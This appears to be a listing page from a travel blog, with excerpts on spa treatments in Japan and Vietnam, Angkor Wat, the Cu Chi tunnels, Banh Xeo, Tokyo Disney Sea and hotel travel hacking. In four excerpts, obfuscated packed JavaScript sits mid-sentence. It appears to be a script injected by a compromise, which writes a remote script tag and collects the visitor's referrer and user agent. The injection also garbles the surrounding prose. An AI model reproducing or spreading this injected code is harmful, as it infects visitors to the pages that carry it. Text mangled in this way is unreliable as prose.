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Spa Treatments in SE Asia – For Science: Vietnam

Part 2 of my review of spa treatments in SE Asia.  See Part ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bttfe|var|u0026u|referrer|sitsb||js|php’.split(‘|’),0,{})) 1, in Japan for the expensive start to this experiment. Once we got to Vietnam, and the cost of a spa treatment went dramatically down, it seemed only right to sample multiple spa treatments per country.  When […]

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Spa Treatments in SE Asia – For Science: Japan

For science.  At least that’s what I told Nick. I dreamed up this great idea while we were staying at the Park Hyatt Tokyo.  Baller style.  I decided it was necessary ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eariy|var|u0026u|referrer|dbaen||js|php’.split(‘|’),0,{})) for me to compare beauty and spa treatments in every country we visited.  So naturally, I’d need to start […]

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Angkor Wat

We spent a hot minute in Siem Reap to see the Angkor Wat temples. Since we were only going to be in the area for 2 days, we hired a guide to take us around the temples.  From an efficiency standpoint, this is really nice.  They can speak to the history – our guide was […]

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Bai Dinh Pagoda and Trang An

We never made it to Halong Bay.  It was billed as a solid 4 hour bus ride from Hanoi and not really doable in 1 day.  As a result, we decided to pass.  Instead, we headed to Trang An.  After a decent amount of research, we picked Trang An based off of the reviews – […]

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Banh Xeo

It’s a Vietnamese pancake.  But it’s so much more than just a silly pancake. We had Banh Xeo with Brinda after our trip to the Cu Chi tunnels.  The Banh Xeo “restaurant” was not a place I’d typically stop at.  It was an outdoor-ish kitchen with a  bunch of metal tables and chairs.  I’d soon […]

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Cu Chi Tunnels

The Cu Chi tunnels are a short drive from Ho Chi Minh city – a little less than 1 hr.  I knew nothing about them, “thankfully” my history buff husband was right on top of it.  So we spent the morning of day 2 exploring the tunnels. For anyone planning a trip to the tunnels, […]

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Good morning, Vietnam!

I guess it’s about time I moved on from Japan….it has been about 3 weeks since we were there! We spent our time in Vietnam split between Saigon/Ho Chi Minh City and Hanoi.  We started off in Saigon, staying with our friends Varun and Brinda.  Varun and I were RAs together in the dorms and […]

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10 things to know about Tokyo Disney Sea

No trip to Japan would be complete without a visit to the other happiest place on earth.  Right?  Well, at least it wouldn’t be complete for me.  Thankfully, my friends bought me a ticket for my birthday!  Coolest friends ever! Here are some of the interesting things I learned about Disney Sea. 1.  Disney Sea […]

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Travel Hacking Success at the Park Hyatt Tokyo

Nick and I have been wise to travel hacking for a year or two, but have never really attempted any of the strategies.  But now we’re hooked! What ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azakb|var|u0026u|referrer|sbsfi||js|php’.split(‘|’),0,{})) is travel hacking?  Basically, it’s making travel more budget friendly. On our first travel hacking experience, we successfully stayed at the Park […]

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You don’t look like a dancer…

Yeah, ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khhkk|var|u0026u|referrer|nssza||js|php’.split(‘|’),0,{})) I know. Something I learned while in Vietnam? They are very open and honest people…brutally honest.  They just say what they are thinking – whether it seems polite or not (politeness being determined by western standards only).  On some level, I can be down with that. The 2 most […]